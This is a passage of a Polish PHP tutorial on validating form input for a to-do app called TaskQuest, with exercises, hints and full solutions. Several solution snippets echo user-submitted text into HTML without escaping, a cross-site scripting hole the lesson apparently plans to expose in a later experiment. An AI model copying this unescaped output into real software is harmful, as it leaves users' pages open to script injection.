<li><strong>Sięganie po <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['...']</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code></strong> przy pierwszym wejściu na stronę — ostrzeżenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined array key</code>.</li>



<li><strong>Traktowanie danych z formularza jak liczb</strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['xp']</code> to zawsze tekst. <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) "12abc"</code> daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">12</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) "dużo"</code> daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> — rzutowanie „po cichu” zamienia śmieci w liczbę.</li>



<li><strong>Poleganie tylko na <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">min</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">max</code></strong> — przeglądarkę da się ominąć.</li>



<li><strong>Użycie GET do zmiany danych</strong> — link lub odświeżenie strony zmienia dane bez wiedzy użytkownika.</li>



<li><strong>Wpisanie wartości <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;textarea&gt;</code> w atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code></strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">textarea</code> nie ma atrybutu <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code>, tekst wpisuje się między <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;textarea&gt;</code> a <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;/textarea&gt;</code>.</li>



<li><strong>Literówka w nazwie</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">name="tytul"</code> w HTML, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['tytuł']</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST['title']</code> w PHP — klucze muszą być identyczne.</li>
</ul>



<h1 class="wp-block-heading">4. SAMODZIELNIE — formularz, który sprawdza dane</h1>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> To ostatnie ćwiczenie w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>, zanim zaczniemy zmieniać projekt. Zastąp zawartość pliku kodem, który:</p>



<ol class="wp-block-list">
<li>wyświetla formularz (metoda POST, wysyłany do <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>) z dwoma polami: <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> — <strong>oba jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">type="text"</code> i bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code></strong>, żeby przeglądarka niczego nie blokowała i całą pracę musiał wykonać PHP,</li>



<li>przy wysłaniu formularza (i tylko wtedy!) sprawdza dane:
<ul class="wp-block-list">
<li>tytuł (po <code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code>) nie może być pusty → <code class="prettyprint lang-sql" style="font-size: 0.85em;">Tytuł jest wymagany.</code>,</li>



<li>XP musi składać się z samych cyfr → <code class="prettyprint lang-sql" style="font-size: 0.85em;">XP musi być liczbą całkowitą.</code>, a jeśli jest liczbą, musi być z zakresu 1–100 → <code class="prettyprint lang-sql" style="font-size: 0.85em;">XP musi być z zakresu 1–100.</code>,</li>
</ul>
</li>



<li>gdy są błędy — wypisuje je jako listę <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;ul&gt;</code>, gdy ich nie ma — wypisuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">Przyjęto zadanie: &lt;tytuł&gt; (&lt;xp&gt; XP)</code>,</li>



<li><strong>po wysłaniu formularz nie jest pusty</strong> — pola zawierają to, co wpisał użytkownik (żeby przy błędzie nie musiał pisać wszystkiego od nowa).</li>
</ol>



<p class="wp-block-paragraph"><strong>Efekt:</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Wpisane dane</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td>pierwsze wejście (GET)</td><td>sam pusty formularz, brak komunikatów, <strong>brak ostrzeżeń PHP</strong></td></tr><tr><td>tytuł pusty, XP puste</td><td>dwa błędy: tytuł i „liczbą całkowitą”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nauka</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">150</code></td><td>jeden błąd: zakres 1–100; w polu tytułu nadal <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nauka</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">   </code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">abc</code></td><td>dwa błędy (same spacje to pusty tytuł)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nauka PHP</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">30</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Przyjęto zadanie: Nauka PHP (30 XP)</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Jak sprawdzić:</strong> każdy wiersz tabeli. Szczególnie pierwszy — jeśli przy pierwszym wejściu widzisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning</code>, sięgasz po <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code> za wcześnie albo bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Kod PHP ustaw <strong>na górze pliku</strong>, przed HTML. Zmienne <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytulZadania</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xpZadania</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> muszą istnieć także przy pierwszym wejściu — nadaj im wartości początkowe (puste) <strong>przed</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>. Dzięki temu w HTML możesz ich zawsze bezpiecznie użyć, np. w atrybucie <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code>. Do sprawdzenia „samych cyfr” masz wzorzec z Lekcji 12.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$tytulZadania = '';
$xpZadania = '';
$bledy = &#91;];
$przyjete = false;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $tytulZadania = trim($_POST&#91;'tytul'] ?? '');
    // ... to samo dla xp ...

    // ... sprawdzenia, każde dopisuje komunikat do $bledy ...

    $przyjete = count($bledy) === 0;
}
?&gt;
&lt;!-- HTML: komunikat "Przyjęto" (gdy $przyjete), lista błędów (gdy są), formularz --&gt;
&lt;input type="text" id="tytul" name="tytul" value="&lt;?= $tytulZadania; ?&gt;"&gt;</code></pre>



<p class="wp-block-paragraph">Listę błędów zbudujesz pętlą <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code> wewnątrz <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;ul&gt;</code> — tak samo jak wchodzisz i wychodzisz z PHP przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php foreach (...) { ?&gt; ... &lt;?php } ?&gt;</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

$tytulZadania = '';
$xpZadania = '';
$bledy = &#91;];
$przyjete = false;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $tytulZadania = trim($_POST&#91;'tytul'] ?? '');
    $xpZadania = trim($_POST&#91;'xp'] ?? '');

    if ($tytulZadania === '') {
        $bledy&#91;] = "Tytuł jest wymagany.";
    }

    if (!preg_match('/^\d+$/', $xpZadania)) {
        $bledy&#91;] = "XP musi być liczbą całkowitą.";
    } elseif ((int) $xpZadania &lt; 1 || (int) $xpZadania &gt; 100) {
        $bledy&#91;] = "XP musi być z zakresu 1–100.";
    }

    $przyjete = count($bledy) === 0;
}
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Brudnopis — formularz&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;?php if ($przyjete) { ?&gt;
    &lt;p&gt;Przyjęto zadanie: &lt;?= $tytulZadania; ?&gt; (&lt;?= $xpZadania; ?&gt; XP)&lt;/p&gt;
    &lt;?php } ?&gt;

    &lt;?php if (count($bledy) &gt; 0) { ?&gt;
    &lt;ul&gt;
        &lt;?php foreach ($bledy as $blad) { ?&gt;
        &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
        &lt;?php } ?&gt;
    &lt;/ul&gt;
    &lt;?php } ?&gt;

    &lt;form method="post" action="brudnopis.php"&gt;
        &lt;label for="tytul"&gt;Tytuł&lt;/label&gt;
        &lt;input type="text" id="tytul" name="tytul" value="&lt;?= $tytulZadania; ?&gt;"&gt;

        &lt;label for="xp"&gt;XP&lt;/label&gt;
        &lt;input type="text" id="xp" name="xp" value="&lt;?= $xpZadania; ?&gt;"&gt;

        &lt;button type="submit"&gt;Sprawdź&lt;/button&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>



<p class="wp-block-paragraph">Dlaczego XP sprawdzamy <strong>najpierw</strong> regexem, a dopiero potem zakresem (<code class="prettyprint lang-sql" style="font-size: 0.85em;">elseif</code>)? Bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) "12abc"</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">12</code> — przeszłoby sprawdzenie zakresu, choć użytkownik wpisał bzdurę. A <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int) "dużo"</code> to <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> — użytkownik dostałby mylący komunikat o zakresie zamiast informacji, że to w ogóle nie jest liczba. Sprawdzisz to w Eksperymencie 4.</p>



<p class="wp-block-paragraph">Ten schemat — <strong>wartości początkowe → <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (POST)</code> → odczyt z <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> → sprawdzenia do tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> → HTML z listą błędów i wypełnionym formularzem</strong> — powtórzymy za chwilę w TaskQuest.</p>
</details>



<h1 class="wp-block-heading">5. Włączamy formularz do TaskQuest — krok po kroku</h1>



<p class="wp-block-paragraph"><strong>PROJEKT.</strong> Od tego miejsca kończymy pracę w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> (zostaw go na razie — przyda się w testach) i zmieniamy pliki prawdziwej aplikacji w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code>. Kolejność: najpierw funkcje (logika bez HTML), potem nowa strona, na końcu połączenie jej ze stroną główną.</p>



<h2 class="wp-block-heading">Krok 1 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code></h2>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>.</strong> Na <strong>końcu</strong> pliku (pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code>) dopisz funkcję:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujNoweZadanie(string $tytulZadania, string $opisZadania, string $terminZadania, string $xpZadania): array</code></pre>



<p class="wp-block-paragraph">Funkcja dostaje <strong>już oczyszczone</strong> teksty z formularza i zwraca tablicę komunikatów o błędach. Pusta tablica oznacza: dane są poprawne. Funkcja <strong>niczego nie wyświetla</strong> i <strong>nie rzuca wyjątków</strong> (patrz 3.7).</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Pole</th><th>Reguła</th><th>Komunikat (dokładnie taki)</th></tr></thead><tbody><tr><td>tytuł</td><td>nie może być pusty</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Tytuł jest wymagany.</code></td></tr><tr><td>tytuł</td><td>najwyżej 100 znaków (sprawdzaj tylko, gdy nie jest pusty)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Tytuł może mieć najwyżej 100 znaków.</code></td></tr><tr><td>opis</td><td>nieobowiązkowy, ale najwyżej 300 znaków</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Opis może mieć najwyżej 300 znaków.</code></td></tr><tr><td>termin</td><td>kształt <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Termin musi być datą w formacie RRRR-MM-DD.</code></td></tr><tr><td>termin</td><td>dzień musi istnieć w kalendarzu (sprawdzaj tylko, gdy kształt jest poprawny)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Taki dzień nie istnieje w kalendarzu.</code></td></tr><tr><td>XP</td><td>same cyfry</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">XP musi być liczbą całkowitą.</code></td></tr><tr><td>XP</td><td>zakres 1–100 (sprawdzaj tylko, gdy to liczba)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">XP musi być z zakresu 1–100.</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Długość tekstu licz przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_strlen()</code> (Lekcja 8) — <code class="prettyprint lang-sql" style="font-size: 0.85em;">strlen()</code> policzyłby polskie litery podwójnie.</p>



<p class="wp-block-paragraph">Do sprawdzenia, czy dzień istnieje, użyj wbudowanej funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">checkdate($miesiac, $dzien, $rok)</code> — przyjmuje trzy liczby całkowite i zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">checkdate(2, 31, 2026)</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>). Trzy liczby z tekstu <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code> wydobędziesz przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">explode('-', $terminZadania)</code> i rzutowanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>. (Jeśli robiłaś/robiłeś zadanie końcowe A z Lekcji 12, znasz już ten pomysł.)</p>



<p class="wp-block-paragraph">Zauważ: w komunikatach <strong>nie powtarzamy tego, co wpisał użytkownik</strong> (np. „Termin 2026-02-31 &#8230;”). Tekst od użytkownika trafia na stronę tylko tam, gdzie to konieczne — dlaczego to ważne, zobaczysz w Eksperymencie 5.</p>



<p class="wp-block-paragraph"><strong>Jak sprawdzić:</strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> (podmień zawartość):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/includes/funkcje_zadan.php';

print_r(walidujNoweZadanie('Nauka PHP', '', '2026-10-02', '20'));
print_r(walidujNoweZadanie('', '', '2026-02-31', 'dużo'));</code></pre>



<p class="wp-block-paragraph">Pierwsze wywołanie: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Array ( )</code>. Drugie: trzy komunikaty — o tytule, o kalendarzu i o liczbie całkowitej. Pełny zestaw przypadków jest w Teście 1.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Pary reguł dla jednego pola („pusty?” → „za długi?”, „kształt?” → „kalendarz?”, „cyfry?” → „zakres?”) to naturalne miejsce na <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">elseif</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code> z zagnieżdżonym <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>. Druga reguła ma sens tylko wtedy, gdy pierwsza przeszła. Wzorzec daty masz w <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujNoweZadanie(string $tytulZadania, string $opisZadania, string $terminZadania, string $xpZadania): array
{
    $bledy = &#91;];

    if ($tytulZadania === '') {
        $bledy&#91;] = "Tytuł jest wymagany.";
    } elseif (/* za długi */) {
        // ...
    }

    // opis ...

    if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $terminZadania)) {
        // ...
    } else {
        $czesciDaty = explode('-', $terminZadania);   // &#91;0] =&gt; rok, &#91;1] =&gt; miesiąc, &#91;2] =&gt; dzień

        // checkdate(miesiąc, dzień, rok) — uwaga na kolejność!
    }

    // XP ...

    return $bledy;
}</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujNoweZadanie(string $tytulZadania, string $opisZadania, string $terminZadania, string $xpZadania): array
{
    $bledy = &#91;];

    if ($tytulZadania === '') {
        $bledy&#91;] = "Tytuł jest wymagany.";
    } elseif (mb_strlen($tytulZadania) &gt; 100) {
        $bledy&#91;] = "Tytuł może mieć najwyżej 100 znaków.";
    }

    if (mb_strlen($opisZadania) &gt; 300) {
        $bledy&#91;] = "Opis może mieć najwyżej 300 znaków.";
    }

    if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $terminZadania)) {
        $bledy&#91;] = "Termin musi być datą w formacie RRRR-MM-DD.";
    } else {
        $czesciDaty = explode('-', $terminZadania);

        if (!checkdate((int) $czesciDaty&#91;1], (int) $czesciDaty&#91;2], (int) $czesciDaty&#91;0])) {
            $bledy&#91;] = "Taki dzień nie istnieje w kalendarzu.";
        }
    }

    if (!preg_match('/^\d+$/', $xpZadania)) {
        $bledy&#91;] = "XP musi być liczbą całkowitą.";
    } elseif ((int) $xpZadania &lt; 1 || (int) $xpZadania &gt; 100) {
        $bledy&#91;] = "XP musi być z zakresu 1–100.";
    }

    return $bledy;
}</code></pre>



<p class="wp-block-paragraph">Porównaj z <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code> z Lekcji 12: sprawdzenia są podobne (kształt daty, same cyfry), ale <strong>sposób zgłaszania inny</strong>. Tam uszkodzony plik to awaria → wyjątek. Tu pomyłka użytkownika to normalna sytuacja → lista komunikatów.</p>
</details>



<h2 class="wp-block-heading">Krok 2 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code></h2>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>.</strong> Nowe zadanie potrzebuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, którego nie ma jeszcze żadne inne zadanie. Dopisz nową funkcję <strong>między</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code> a <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> (dla PHP kolejność funkcji w pliku nie ma znaczenia — to tylko porządek dla czytającego):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function nastepneIdZadania(array $zadania): int</code></pre>



<p class="wp-block-paragraph">Funkcja zwraca <strong>największe <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> na liście + 1</strong>. Dla pustej listy zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>.</p>



<p class="wp-block-paragraph">Zanim zaczniesz, odpowiedz: dlaczego <strong>nie</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">count($zadania) + 1</code>? Wyobraź sobie, że Kama ręcznie usunęła z pliku zadanie o <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 3. Na liście zostały <code class="prettyprint lang-sql" style="font-size: 0.85em;">1, 2, 4, 5</code> — ile wynosi <code class="prettyprint lang-sql" style="font-size: 0.85em;">count() + 1</code> i co by się stało?</p>



<p class="wp-block-paragraph"><strong>Jak sprawdzić:</strong> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">echo nastepneIdZadania(&#91;]) . "&lt;br&gt;";                                        // 1
echo nastepneIdZadania(&#91;&#91;'id' =&gt; 1], &#91;'id' =&gt; 2], &#91;'id' =&gt; 3]]) . "&lt;br&gt;";   // 4
echo nastepneIdZadania(&#91;&#91;'id' =&gt; 3], &#91;'id' =&gt; 10], &#91;'id' =&gt; 7]]) . "&lt;br&gt;";  // 11</code></pre>



<p class="wp-block-paragraph">(Funkcja potrzebuje tylko klucza <code class="prettyprint lang-sql" style="font-size: 0.85em;">'id'</code>, więc do testu wystarczą takie „okrojone” zadania.)</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">To klasyczne szukanie maksimum pętlą <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code> — pamiętasz podobny wzorzec z sumowaniem XP w <code class="prettyprint lang-sql" style="font-size: 0.85em;">sumujXp()</code> (Lekcja 9). Zmienna pomocnicza startuje od <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>, bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> są dodatnie.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function nastepneIdZadania(array $zadania): int
{
    $najwiekszeId = 0;

    foreach ($zadania as $zadanie) {
        if ($zadanie&#91;'id'] &gt; $najwiekszeId) {
            $najwiekszeId = $zadanie&#91;'id'];
        }
    }

    return $najwiekszeId + 1;
}</code></pre>



<p class="wp-block-paragraph">Odpowiedź: dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">1, 2, 4, 5</code> <code class="prettyprint lang-sql" style="font-size: 0.85em;">count() + 1</code> daje <code class="prettyprint lang-sql" style="font-size: 0.85em;">5</code> — a zadanie o <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 5 już istnieje. Dwa zadania z tym samym <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> to przepis na kłopoty, gdy zaczniemy wskazywać zadania po <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> (np. „oznacz zadanie 5 jako wykonane” w zadaniu końcowym A). (Istnieje też gotowa funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">max()</code> — ale pętla pokazuje, co się naprawdę dzieje, i dla pustej listy działa bez dodatkowego <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>.)</p>
</details>



<h2 class="wp-block-heading">Krok 3 — SAMODZIELNIE: strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></h2>



<p class="wp-block-paragraph"><strong>Nowy plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></strong> — w katalogu głównym <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code>, obok <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Buduj go w trzech częściach i sprawdzaj po każdej.</p>



<h3 class="wp-block-heading">3a — szkielet i formularz</h3>



<p class="wp-block-paragraph">Struktura pliku jest taka sama jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> (dane i logika na górze, prezentacja na dole):</p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code> (będzie potrzebna <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>,</li>



<li>wartości początkowe: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytulZadania</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$opisZadania</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$terminZadania</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xpZadania</code> (puste teksty), <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> (pusta tablica), <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> — tu trafi komunikat wyjątku, jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZadan</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>),</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony = 'Dodaj zadanie — TaskQuest';</code> i dołączenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code>,</li>



<li>nagłówek <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Nowe zadanie&lt;/h2&gt;</code>, link powrotny do <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>,</li>



<li>formularz: metoda POST, <code class="prettyprint lang-sql" style="font-size: 0.85em;">action="dodaj-zadanie.php"</code>, pola <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> (text, <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength="100"</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code> (textarea, <code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength="300"</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code> (date, <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> (number, <code class="prettyprint lang-sql" style="font-size: 0.85em;">min="1"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">max="100"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>), przycisk „Dodaj zadanie”. Każde pole z <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;label for="..."&gt;</code> i wartością z odpowiedniej zmiennej,</li>



<li>dołączenie <code class="prettyprint lang-sql" style="font-size: 0.85em;">footer.php</code>.</li>
</ol>



<p class="wp-block-paragraph"><strong>Sprawdź:</strong> otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/dodaj-zadanie.php</code>. Widać nagłówek TaskQuest, formularz i stopkę. Brak ostrzeżeń PHP. Wysłanie formularza na razie nic nie robi (strona po prostu się przeładuje).</p>



<h3 class="wp-block-heading">3b — odbiór i sprawdzenie danych</h3>



<p class="wp-block-paragraph">Między wartościami początkowymi a prezentacją dodaj blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER['REQUEST_METHOD'] === 'POST') { ... }</code>, który:</p>



<ol class="wp-block-list">
<li>odczytuje cztery pola przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> i od razu je czyści:
<ul class="wp-block-list">
<li>tytuł — istniejącą funkcją <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code> (Lekcja 8: przycina i zamienia wielokrotne białe znaki na jedną spację),</li>



<li>opis — <code class="prettyprint lang-sql" style="font-size: 0.85em;">preg_replace('/\s+/', ' ', ...)</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">textarea</code> pozwala wpisać kilka linii, a my chcemy mieć opis w <strong>jednej</strong> linii pliku CSV (pamiętasz ograniczenie numerów linii z Lekcji 12?),</li>



<li>termin i XP — <code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code>,</li>
</ul>
</li>



<li>wywołuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> i zapisuje wynik w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code>.</li>
</ol>



